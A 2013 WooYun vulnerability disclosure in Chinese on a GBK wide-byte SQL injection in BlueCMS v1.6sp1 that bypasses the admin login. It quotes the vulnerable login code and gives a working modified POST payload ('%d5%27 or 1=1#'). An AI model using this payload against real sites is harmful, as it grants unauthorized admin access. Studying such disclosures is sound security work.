当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(6) 关注此漏洞

缺陷编号: WooYun-2013-21082

漏洞标题: bluecms最新版本双字节万能密码进后台

相关厂商: BLUECMS

漏洞作者: 小贱人

提交时间: 2013-04-01 17:13

公开时间: 2013-06-30 17:14

漏洞类型: SQL注射漏洞

危害等级: 高

自评Rank: 10

漏洞状态: 未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 万能密码 bluecms 双字节

2人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-04-01: 积极联系厂商并且等待厂商认领中,细节不对外公开
2013-06-30: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

bluecms最新版本即v1.6sp1,处理登录验证时对变量进行单引号转义,但可以用gbk 双字节编码闭合单引号再注释从而进入后台

详细说明:

bluecms验证登录代码如下

code 区域
function check_admin($name, $pwd)
{
global $db;
$row = $db->getone("SELECT COUNT(*) AS num FROM ".table('admin')." WHERE admin_name='$name' and pwd = md5('$pwd')");
if($row['num'] > 0)
{
return true;
}
else
{
return false;
}
}





且变量进入check_admin函数前已被转义一次,无论MAGIC魔术棒是否开启

code 区域
if(!get_magic_quotes_gpc())
{
$_POST = deep_addslashes($_POST);
$_GET = deep_addslashes($_GET);
$_COOKIES = deep_addslashes($_COOKIES);





但问题出在这句上

code 区域
if($this->dbversion() > '4.1'){
mysql_query( "SET NAMES gbk");
if($this->dbversion() > '5.0.1'){
mysql_query("SET sql_mode = ''",$this->linkid);
}





邪恶地笑了



打开后台登录,并准备抓包

用户名和密码随便输 比如jianren jianren

抓到的post变量为 admin_name=jianren&admin_pwd=jianren&submit=%B5%C7%C2%BC&act=do_login



修改为admin_name=jianren%d5%27%20or%201%3d1%23&admin_pwd=jianren&submit=%B5%C7%C2%BC&act=do_login

漏洞证明:

然后重放 芝麻开门

.jpg

修复方案:

你们比我懂

版权声明:转载请注明来源 小贱人@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(少于3人评价):
登陆后才能进行评分
100%
0%
0%
0%
0%

评价

登录后才能发表评论,请先 登录